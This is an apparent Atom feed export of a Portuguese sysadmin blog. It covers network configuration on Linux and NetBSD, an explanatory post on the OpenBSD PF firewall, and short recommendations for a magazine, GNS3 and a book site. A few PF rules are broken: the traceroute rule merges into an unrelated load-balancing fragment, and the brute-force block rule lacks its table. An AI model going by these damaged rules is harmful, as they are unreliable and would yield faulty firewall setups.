interface&lt;/p&gt;&lt;p&gt;ONBOOT=yes                                              # Habilitado ao iniciar o sistema&lt;/p&gt;&lt;p&gt;HWADDR=00:0c:29:77:ec:06            # Endereço MAC&lt;/p&gt;&lt;p&gt;IPADDR=192.168.0.254                        # Endereço IP&lt;/p&gt;&lt;p&gt;NETMASK=255.255.255.0                   # Mascara de rede&lt;/p&gt;&lt;p&gt;GATEWAY = 192.168.0.254                 # Saida padrão&lt;/p&gt;&lt;p&gt;Em um sistema baseado no RedHat que tenha essa configuração, mesmo que o computador reinicie, as configurações de rede permanecerão. Mas caso você deseje configurar para pegar endereçamento via DHCP, substitua as entradas que definem o endereçamento por um simples:&lt;/p&gt;&lt;p&gt;BOOTPROTO=dhcp&lt;/p&gt;&lt;p&gt;Agora para configurar o endereçamento num sistema NetBSD você vai precisar configurar mais arquivos. Por exemplo, para definir o endereço CRIE um arquivo:&lt;/p&gt;&lt;p&gt;/etc/ifconfig.rtk0&lt;/p&gt;&lt;p&gt;o arquivo não existe, você terá de criá-lo. E o rtk0 depois do ponto é o nome da interface, se o nome for diferente, substitua por um válido. Lá dentro insira:&lt;/p&gt;&lt;p&gt;inet 192.168.0.32 netmask 255.255.255.0&lt;/p&gt;&lt;p&gt;Para configurar o gateway (saída padrão) você terá de criar um arquivo chamado:&lt;/p&gt;&lt;p&gt;/etc/mygate&lt;/p&gt;&lt;p&gt;Neste arquivo basta adicionar o endereço IP do gateway, mais nada:&lt;/p&gt;&lt;p&gt;192.168.0.254&lt;/p&gt;&lt;p&gt;E a configuração de DNS fica no mesmo lugar que no Linux: /etc/resolv.conf&lt;/p&gt;&lt;p&gt;Bem, se você leu até aqui é bem provavel que tenha aprendido algo, bem diferente de se você apenas foi olhando os comando e digitando, tentando tudo pra ver se funciona. Espero ter ajudado no conhecimento de manipulação da configuração de rede em ambiente unix.&lt;/p&gt;&lt;p&gt;Até a próxima&lt;/p&gt;&lt;/div&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4349724564081206105-7810464186178661941?l=alanlacerda.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://alanlacerda.blogspot.com/feeds/7810464186178661941/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://alanlacerda.blogspot.com/2009/06/configuracao-de-rede-no-linuxnetbsd.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/7810464186178661941'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/7810464186178661941'/><link rel='alternate' type='text/html' href='http://alanlacerda.blogspot.com/2009/06/configuracao-de-rede-no-linuxnetbsd.html' title='Configuração de rede no Linux/NetBSD'/><author><name>Alan MeC Lacerda</name><uri>http://www.blogger.com/profile/18073152318925866216</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_kOIPiN3lLNM/SjHjYp9V3XI/AAAAAAAAAAM/FpeaRaixE8c/S220/DSC00012.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4349724564081206105.post-457327993647621065</id><published>2009-06-26T14:13:00.001-03:00</published><updated>2011-03-03T01:58:00.999-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='comandos'/><category scheme='http://www.blogger.com/atom/ns#' term='rede'/><category scheme='http://www.blogger.com/atom/ns#' term='shell'/><category scheme='http://www.blogger.com/atom/ns#' term='segurança'/><title type='text'>OpenBSD - PacketFilter (PF)</title><content type='html'>&lt;div style="text-align: justify;"&gt;O texto que segue foi escrito por mim para uma apresentação do Packet Filter (O Filtro de pacotes do OpenBSD). Filtro de pacotes é mais comumente conhecido como: "Firewall".&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="font-weight: bold;"&gt;&lt;div style="text-align: justify;"&gt;&lt;span class="Apple-style-span"  style="font-size:18px;"&gt;PACKET FILTER&lt;/span&gt;&lt;/div&gt;&lt;/span&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;No dia 29 de Maio de 2001 foi descoberto que a licença do IPFilter (o filtro de pacotes padrão no openBSD até então), não era compatível com a licença do BSD, por isso o IPFilter foi imediatamente retirado da arvore do OpenBSD. Assim por algumas semanas o OpenBSD ficou sem um filtro de pacotes. Até que em 24 de Junho de 2001 foi lançado uma versão do PF sem muitas funcionalidades.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Na versão 3.1 do OpenBSD saiu a versão mais completa do PF. Nessa versão todas as funcionalidades básicas de um gateway/firewall foram satisfeitas: NAT, PAT, Redirecionamento .... Com a maturidade do PF, outros sistemas da família BSD também o adotaram: NetBSD, FreeBSD e DragonflyBSD.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;É possível habilitar e desabilitar o PF em tempo de execução com os seguintes comandos respectivamente:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;pfctl –e&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;pfctl –d&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Ou habilitar o PF para iniciar junto com o sistema operacional, adicionando ou alterando as seguintes entradas no arquivo: /etc/rc.conf&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;pf=YES&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;pf_rules=”/etc/pf.conf”&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Se o PF for habilitado em tempo de execução, será necessário carregar as regras de firewall para a execução, pois isso não é feito automaticamente quando o firewall é habilitado. É possível carregar as regras com a seguinte linha de comando:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;pfctl –f /etc/pf.conf&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Caso seja necessário descarregar as regras que estão em execução use o comando:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;pfctl –F rules&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;ou&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;pfctl –F nat&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;As regras acima descarregam (Flush) as regras de filtro e NAT respectivamente. Quando as regras de filtro forem descarregadas o PF passa a ter a regras “pass all” novamente, deixando passar todo o tráfego de entrada e saída.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;O PF aceita múltiplas opções em união. Sendo assim para habilitar e carregar o firewall e as regras, poderia se digitar uma única linha de comando:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;pfctl –ef /etc/pf.conf&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Para usar o PF no FreeBSD é necessário uns cuidados extras. Por exemplo algumas opções específicas para cada versão do freeBSD é necessário, por isso é importante que, antes de se configurar o PF no FreeBSD, o FreeBSD handbook seja consultado. Nesse sistema, o PF funcina como um módulo aparte, isso faz necessário que ele seja carregado manualmente.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Para carregá-lo em tempo de execução:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;kldload pf&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Ou então, para executá-lo junto com a inicialização do sistema operacional, insira ou altere no arquivo &lt;b&gt;/etc/rc.conf&lt;/b&gt; a seguinte entrada:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;pf_enable=”YES”&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Para usar o Pf no NetBSD é necessário compilar o kernel com suporte ao mesmo. Isso é feito habilitando a opção:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;pseudo-device pf&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Habilitar as seguintes opções &lt;b&gt;em /etc/rc.conf&lt;/b&gt;:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;lkm=”YES”&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;pf=YES&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Ou em tempo de execução execute os seguintes comandos:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;modload /usr/lkm/pf.o&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;pfctl –e&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Levando em consideração que o Firewall vai trabalhar como gateway, é importante que ele seja capaz de fazer a comutação do pacote (enviar o pacote de uma interface para a outra). Isso é habilitado no arquivo &lt;b&gt;/etc/sysctl.conf&lt;/b&gt; adicionando ou alterando a seguinte linha:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;net.inet.ip.forwarding=1&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Uma regra básica permite que tudo saia pelo firewall mas bloqueia as entradas:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;block in all&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;pass in from $interface_interna:network&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;pass out all&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Para os pacotes poderem voltar em resposta às requisições feitas internamente, o PF implicitamente permite que todo pacote que volte (entre pelo firewall) tendo sido anteriormente requisitado seja aceito.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;É característica do PF ler as regras de firewall de cima pra baixo, e mesmo que uma regra se aplique a um determinado pacote, o firewall continuará comparando o mesmo pacote com as demais regras até chegar ao final da lista. Assim se existir outra regra que se aplique a aquele pacote, a regra será sobreposta. Para forçar que a regra seja aplicada ao pacote e não prossiga comparando com as demais regras usa-se a opção “quick” nas regras.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;É possível criar variáveis dentro do arquivo de configuração do PF, essas variáveis são mais conhecidas como “macros”, uma macro pode contar um valor únicos ou múltiplos valores. Quando se atribui múltiplos valores a uma macro dá-se o nome de “lista”.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;O PF ainda reconhece o número da porta de um determinado serviço pelo próprio nome do protocolo de camada 7, por exemplo: ao nome “HTTP” é atribuído o valor “80”, para “HTTPS” o valor “443” e assim por diante.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;A sintaxe vic0:network (onde vic0 é o nome da placa de rede) se refere ao endereço de rede que se encontra configurado na placa vic0. E a sintaxe (vic0) se refere a endereço IP configurado na placa vic0.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Conexões FTP representam desafios maiores para o administrador do firewall, pois em todos os sentidos o FTP não é confiável. A autenticação é feita em texto claro e após a autenticação, a porta de transmissão de dados é negociada e então a transferência acontece por aquela porta. Dessa maneira o firewall não tem como adivinhar que aquela porta onde a transferência está tentando ser feita é referente a uma conexão já existente, sendo assim, a conexão é negada.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Para lidar com essa conexão problemática, é utilizado um aplicativo à parte do PF chamado Proxy-ftp, ele se encarrega de ligar as portas às conexões, e o papel do PF é apenas redirecionar as conexões FTP para o Proxy-ftp tratar. Isso é feito de uma maneira simples (com ancoras).&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Geralmente é da vontade do administrador da rede liberar a requisição de pings feitos a partir de dentro da rede, mas não permitir que alguém de fora da rede o faça. Para isso é importante conhecer as características do ping. Ele usa i protocolo ICMP, e para o ping em específico podemos ter os seguintes tipos de icmp: echo-request e echo-reply. O echo-request é a requisição do ping, e echo-reply é a resposta à requisição. Então queremos permitir apenas a saída de requisições.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Conceitualmente muitos acreditam que liberando o ICMP echo-request o traceroute também funcionará, mas ele usa o protocolo UDP e não o ICMP (apenas a Microsoft implementou o tracert sobre o ICMP), as portas que o traceroute usa para fazer as requisições estão na faixa entre 33433 e 33626. Desta maneira, para liberar também o traceroute é necessio a seguinte regra:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;pass out on $ext_if inet proto udp from any to any port 33433&gt; $webpool round-robin \ stick-address&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Ainda com o round-robin, temos o problema referente à indisponibilidade de um dos servidores do pool. Caso um servidor fique indisponível algumas requisições ainda serão direcionadas para ele, causando desconforto para os clientes. Para solucionar o problema usa-se um aplicativo à parte ancorado ao PF (assim como o FTP-proxy), esse aplicativo é o “hoststated”. Para o hoststated trabalhar com o PF obrigatoriamente o pool de servidores devem estar numa tabela e não numa lista em macro. Explorar o “hoststated” está fora do escopo da apresentação.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;O PF pode agir, em alguns aspectos, como um IPS (Intrusion Prevention System). Em que sentido? Regras podem ser definidas e, caso alguém não cumpra a regra, entra numa tabela com ips bloqueados. Por exemplo, se configuramos o acesso remoto via SSH para a rede externa (internet) não raro haverá uma seqüência de tentativas de acesso remoto por força bruta. Podemos bloquear essas tentativas com as seguintes entradas numa regra:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;max-src-conn&lt;/i&gt; – Número máximo de conexões a partir de um único host&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;max-src-conn-rate&lt;/i&gt; – Número máximo de requisições de conexão, por um determinado número de segundos, vindos do mesmo host.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;overload&lt;/i&gt; – Em qual tabela jogar esse endereço de host caso ele desobedeça essas requisitos.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;flush global&lt;/i&gt; – Derruba qualquer outra conexão vinda daquele host&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;É importante que a tabela pra onde o “overload” estará jogando o endereço IP do host possua uma regra de bloqueio, exemplo:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;block quick from&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;O problema com essa solução é que não existe um mecanismo interno retirando os endereços de dentro dessa tabela. Desta maneira a tabela irá crescer até não haver mais espaço em memória, além de que se esse for um endereço dinâmico, um outro host poderá pegar esse endereço e ficar sem acesso à nossa rede por esse motivo. Para limpar os endereçamentos em um determinado tempo de dentro da tabela, é necessário executar a seguinte linha de comando:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;pfctl -t table –T expire 86400&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Esta linha eliminará de dentro da tabela “table” todos os endereços que estejam lá há mais de 86,400 segundos (24 horas). Como isso deve ser executado manualmente, sugere-se que seja agendado uma tarefa no crontab para que este comando seja executado periodicamente.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;O PF vem com algumas opções para alguns ataquem específicos, algumas delas são:&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;Scrub&lt;/i&gt; – proteção contra ataque de pacotes mau formados (tratando a fragmentação de pacotes)&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;Antispoof&lt;/i&gt; – proteção contra ataques externos com o endereçamento da rede interna&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;Set block-policy&lt;/i&gt; – Configuração da política padrão&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;i&gt;Set skip&lt;/i&gt; – Define uma interface de rede na qual as regras em geral não se aplicam&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4349724564081206105-457327993647621065?l=alanlacerda.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://alanlacerda.blogspot.com/feeds/457327993647621065/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://alanlacerda.blogspot.com/2009/06/openbsd-packetfilter-pf.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/457327993647621065'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/457327993647621065'/><link rel='alternate' type='text/html' href='http://alanlacerda.blogspot.com/2009/06/openbsd-packetfilter-pf.html' title='OpenBSD - PacketFilter (PF)'/><author><name>Alan MeC Lacerda</name><uri>http://www.blogger.com/profile/18073152318925866216</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_kOIPiN3lLNM/SjHjYp9V3XI/AAAAAAAAAAM/FpeaRaixE8c/S220/DSC00012.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4349724564081206105.post-1372112985638744498</id><published>2009-06-26T14:09:00.001-03:00</published><updated>2011-03-03T02:01:17.338-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='NetBSD'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='rede'/><category scheme='http://www.blogger.com/atom/ns#' term='segurança'/><title type='text'>Revista Espirito Livre</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_kOIPiN3lLNM/SkUBcn8XcqI/AAAAAAAAAA4/UYkmeLtQD6M/s1600-h/revista_espiritolivre.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 300px; height: 176px;" src="http://1.bp.blogspot.com/_kOIPiN3lLNM/SkUBcn8XcqI/AAAAAAAAAA4/UYkmeLtQD6M/s320/revista_espiritolivre.png" alt="" id="BLOGGER_PHOTO_ID_5351685323469845154" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Excelente Revista que está chegando com todo Gás.&lt;br /&gt;Uma revista online com assuntos diversos referentes a software livre. Inovando com assuntos jamais explorados em outras revistas online.&lt;br /&gt;&lt;br /&gt;Acessem esta revista online e tenha acesso às suas edições em: http://www.revista.espiritolivre.org/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4349724564081206105-1372112985638744498?l=alanlacerda.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://alanlacerda.blogspot.com/feeds/1372112985638744498/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://alanlacerda.blogspot.com/2009/06/revista-espirito-livre.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/1372112985638744498'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/1372112985638744498'/><link rel='alternate' type='text/html' href='http://alanlacerda.blogspot.com/2009/06/revista-espirito-livre.html' title='Revista Espirito Livre'/><author><name>Alan MeC Lacerda</name><uri>http://www.blogger.com/profile/18073152318925866216</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_kOIPiN3lLNM/SjHjYp9V3XI/AAAAAAAAAAM/FpeaRaixE8c/S220/DSC00012.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_kOIPiN3lLNM/SkUBcn8XcqI/AAAAAAAAAA4/UYkmeLtQD6M/s72-c/revista_espiritolivre.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4349724564081206105.post-7076889212637478813</id><published>2009-06-26T14:03:00.001-03:00</published><updated>2011-03-03T02:00:54.511-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cisco'/><category scheme='http://www.blogger.com/atom/ns#' term='rede'/><title type='text'>Virtualizando o IOS</title><content type='html'>&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;Você tem interesse em estudar para tirar a certificação CCNA, CCNP ou CCSP da CISCO? Ou apenas, tem vontade de conhecer, saber configurar, roteadores e firewalls da CISCO?&lt;br /&gt;&lt;br /&gt;Se a resposta a pelo menos uma das perguntas acima for positiva, então você deve estar usando algum dos emuladores de equipamentos cisco existente no mercado (BOSON, PacketTrace...). Se ainda não está usando nenhum, melhor ainda, você não vai precisar migrar de ferramenta.&lt;br /&gt;&lt;br /&gt;Conheça o:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.gns3.net/"&gt;&lt;img src="http://2.bp.blogspot.com/_kOIPiN3lLNM/SkT_sdt6PbI/AAAAAAAAAAw/9j78DQA6tUE/s320/gns3.png" style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 94px;" alt="" id="BLOGGER_PHOTO_ID_5351683396579507634" border="0" /&gt; &lt;/a&gt;&lt;br /&gt;Isso é uma propaganda???? É, é uma propaganda, e eu não estou ganhando nada com isso &gt;:)&lt;br /&gt;&lt;br /&gt;Diferente dos emuladores de equipamentos cisco no mercado, o dynamips não "emula" os equipamentos, ele VIRTUALIZA os sistemas operacionais dos equipamentos da cisco. O sistema operacional usado nos roteadores cisco é o IOS, e assim como com o vmware você pode virtualizar sistemas operacionais em seu computador (caso possua uma iso do sistema), com o GNS3/Dynamips você poderá fazer o mesmo para o IOS.&lt;br /&gt;&lt;br /&gt;Qual a diferença entre o GNS3 e o BOSON ou outros emuladores? A diferença é que no caso do GNS3 você estará usando o sistema operacional real desenvolvido pela cisco, enquanto nos emuladores você só poderá usar os comandos que o desenvolvedor do emulador quis colocar no programa dele. Ou seja, você está interagindo com uma aplicação criada por terceiros, e não com o software real da cisco.&lt;br /&gt;&lt;br /&gt;Qual o problema em usar um emulador? Simples: limitações. Os emuladores LÓGICO, não possuem todos os comandos que um IOS possuem, e se você virtualizá-lo usando um IOS real você terá todos os comandos. Ainda os emuladores possuem limitações de, por exemplo, quantidade de ACLs que você pode criar. Já com um IOS real você tem apenas as limitações da versçao do IOS que você estiver usando. E isso aconteceria da mesma maneira no mundo real.&lt;br /&gt;&lt;br /&gt;Em fim, o GNS3 é uma excelente escolha para os estudantes e profissionais que querem se aprofundar nas tecnologias da cisco e/ou simular ambientes reais.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4349724564081206105-7076889212637478813?l=alanlacerda.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://alanlacerda.blogspot.com/feeds/7076889212637478813/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://alanlacerda.blogspot.com/2009/06/virtualizando-o-ios.html#comment-form' title='1 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/7076889212637478813'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/7076889212637478813'/><link rel='alternate' type='text/html' href='http://alanlacerda.blogspot.com/2009/06/virtualizando-o-ios.html' title='Virtualizando o IOS'/><author><name>Alan MeC Lacerda</name><uri>http://www.blogger.com/profile/18073152318925866216</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_kOIPiN3lLNM/SjHjYp9V3XI/AAAAAAAAAAM/FpeaRaixE8c/S220/DSC00012.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_kOIPiN3lLNM/SkT_sdt6PbI/AAAAAAAAAAw/9j78DQA6tUE/s72-c/gns3.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4349724564081206105.post-755970644686493562</id><published>2009-06-26T14:02:00.001-03:00</published><updated>2009-06-26T14:03:18.225-03:00</updated><title type='text'>Boa Leitura</title><content type='html'>Se você é do tipo que gosta de baixar livros da internet (livros técnicos), então vai se fartar nesse site:&lt;br /&gt;&lt;br /&gt;http://www.onlinecomputerbooks.com/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4349724564081206105-755970644686493562?l=alanlacerda.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://alanlacerda.blogspot.com/feeds/755970644686493562/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://alanlacerda.blogspot.com/2009/06/boa-leitura.html#comment-form' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/755970644686493562'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4349724564081206105/posts/default/755970644686493562'/><link rel='alternate' type='text/html' href='http://alanlacerda.blogspot.com/2009/06/boa-leitura.html' title='Boa Leitura'/><author><name>Alan MeC Lacerda</name><uri>http://www.blogger.com/profile/18073152318925866216</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_kOIPiN3lLNM/SjHjYp9V3XI/AAAAAAAAAAM/FpeaRaixE8c/S220/DSC00012.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4349724564081206105.post-134260951271865026</id><published>2009-06-12T01:55:00.003-03:00</published><updated>2011-03-03T05:21:07.114-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' 